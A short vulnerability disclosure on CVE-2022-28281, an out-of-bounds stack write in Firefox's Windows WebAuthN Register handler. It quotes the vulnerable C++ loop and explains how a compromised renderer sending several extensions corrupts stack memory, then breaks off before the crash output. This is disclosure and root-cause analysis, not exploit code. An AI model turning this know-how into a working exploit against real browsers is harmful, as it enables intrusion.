# CVE-2022-28281: Mozilla Firefox Out of bounds write due to unexpected WebAuthN Extensions

This is a bug that can be triggered from a compromised Windows Firefox renderer process. If a compromised content process sent an unexpected number of WebAuthN Extensions in a `Register` command to the parent process, an out of bounds write would have occurred leading to memory corruption and a potentially exploitable crash.

It has been assigned CVE-2022-28281, fixed in Firefox 99 and documented in [mfsa2022-13](https://www.mozilla.org/en-US/security/advisories/mfsa2022-13/#CVE-2022-28281).

## Root-cause analysis
The issue can be seen in the `WinWebAuthnManager::Register` function; in the below lines:
```c++
void WinWebAuthnManager::Register(
    PWebAuthnTransactionParent* aTransactionParent,
    const uint64_t& aTransactionId, const WebAuthnMakeCredentialInfo& aInfo) {
// ...
  WEBAUTHN_EXTENSION rgExtension[1] = {};
// ...
    for (const WebAuthnExtension& ext : extra.Extensions()) {
      MOZ_ASSERT(cExtensions <
                 (int)(sizeof(rgExtension) / sizeof(rgExtension[0])));

      if (ext.type() == WebAuthnExtension::TWebAuthnExtensionHmacSecret) {
        HmacCreateSecret =
            ext.get_WebAuthnExtensionHmacSecret().hmacCreateSecret() == true;
        if (HmacCreateSecret) {
          rgExtension[cExtensions].pwszExtensionIdentifier =
              WEBAUTHN_EXTENSIONS_IDENTIFIER_HMAC_SECRET;
          rgExtension[cExtensions].cbExtension = sizeof(BOOL);
          rgExtension[cExtensions].pvExtension = &HmacCreateSecret;
          cExtensions++;
        }
      }
```

A compromised renderer process is able to provide more than 1 extension which makes the above code corrupt adjacent stack memory. I don't believe it is possible to reach this state with plain Javascript.

Here is what a crash looks like when hitting the stack guard page (when sending a lot of extensions):
